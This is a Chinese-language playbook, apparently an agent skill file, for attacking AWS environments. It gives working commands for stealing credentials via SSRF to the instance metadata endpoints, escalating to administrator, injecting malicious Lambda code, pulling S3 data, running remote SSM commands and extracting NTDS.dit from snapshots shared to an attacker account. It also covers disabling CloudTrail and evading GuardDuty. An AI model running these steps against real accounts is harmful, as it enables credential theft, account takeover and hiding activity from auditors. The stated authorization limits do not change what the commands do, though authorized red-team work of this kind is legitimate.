用途
本技能用于对 AWS 云环境进行渗透测试,覆盖 IAM 枚举、权限提升、SSRF 访问元数据端点、S3 存储桶利用、Lambda 代码提取以及红队持久化技术。适用于已获得书面授权的安全评估与红队行动。
前置条件
- 已配置凭证的 AWS CLI
- 有效的 AWS 凭证(即使权限较低)
- 理解 AWS IAM 模型
- Python 3 与 boto3 库
- 工具:Pacu、Prowler、ScoutSuite、SkyArk
主要能力
初始枚举
使用 aws sts get-caller-identity 确认当前身份,配置 profile,列出访问密钥,并使用 enumerate-iam 枚举权限。
IAM 枚举
列出所有用户、用户所属组、附加策略、内联策略、策略详情、角色及角色附加策略。
元数据 SSRF(EC2)
利用 SSRF 访问元数据端点(IMDSv1):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
响应包含 AccessKeyId、SecretAccessKey、Token、Expiration。
对于 IMDSv2(需要 token):
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate 容器凭证:读取 /proc/self/environ 查找 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,然后访问 http://169.254.170.2/v2/credentials/CREDENTIAL-PATH。
权限提升技术
Shadow Admin 权限(等同于管理员):
| 权限 | 利用方式 |
|---|---|
| iam:CreateAccessKey | 为管理员用户创建密钥 |
| iam:CreateLoginProfile | 为任意用户设置密码 |
| iam:AttachUserPolicy | 将管理员策略附加到自身 |
| iam:PutUserPolicy | 添加内联管理员策略 |
| iam:AddUserToGroup | 将自身加入管理员组 |
| iam:PassRole + ec2:RunInstances | 使用管理员角色启动 EC2 |
| lambda:UpdateFunctionCode | 向 Lambda 注入代码 |
为其他用户创建访问密钥:
aws iam create-access-key --user-name target_user
附加管理员策略:
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
添加内联管理员策略:
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 权限提升:注入代码后更新函数代码:
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 存储桶利用
使用 bucket_finder 发现存储桶,常见 URL 模式:
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
枚举与下载:
aws s3 ls
aws s3 ls s3://bucket-name --recursive
aws s3 sync s3://bucket-name ./local-folder
公开存储桶搜索:https://buckets.grayhatwarfare.com/
Lambda 利用
aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM 命令执行
aws ssm describe-instance-information
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 利用
挂载 EBS 卷:创建快照、从快照创建卷、附加到攻击者实例、挂载并访问。
Shadow Copy 攻击(Windows DC):使用 CloudCopy 技术创建 DC 卷快照、共享给攻击者账户、挂载并提取 NTDS.dit 和 SYSTEM,然后使用 secretsdump.py 提取。
从 API 密钥获取控制台访问:使用 aws_consoler 生成登录 URL。
痕迹清理
禁用 CloudTrail:删除 trail、禁用全局事件、禁用特定区域。注意:Kali/Parrot/Pentoo Linux 会因 user-agent 触发 GuardDuty 告警,可使用 Pacu 修改 user-agent。
使用方式
按核心工作流执行:初始枚举 → IAM 枚举 → 元数据 SSRF → 权限提升 → S3/Lambda/EC2 利用 → 痕迹清理。所有命令需在授权范围内执行。
适用场景
- 已获得书面授权的 AWS 渗透测试
- 红队行动中的云环境评估
- 安全审计与合规检查
限制与约束
必须:测试前获得书面授权;记录所有操作以供审计;仅测试授权范围内资源。
禁止:未经批准修改生产数据;未记录的情况下留下持久后门;永久禁用安全控制。
建议:尝试元数据攻击前检查 IMDSv2;利用前彻底枚举;测试后清理测试资源。
故障排除
| 问题 | 解决方案 |
|---|---|
| 所有命令访问被拒 | 使用 enumerate-iam 枚举权限 |
| 元数据端点被阻止 | 检查 IMDSv2,尝试容器元数据 |
| GuardDuty 告警 | 使用 Pacu 自定义 user-agent |
| 凭证过期 | 从元数据重新获取(临时凭证会轮换) |
| CloudTrail 记录操作 | 考虑禁用或日志混淆 |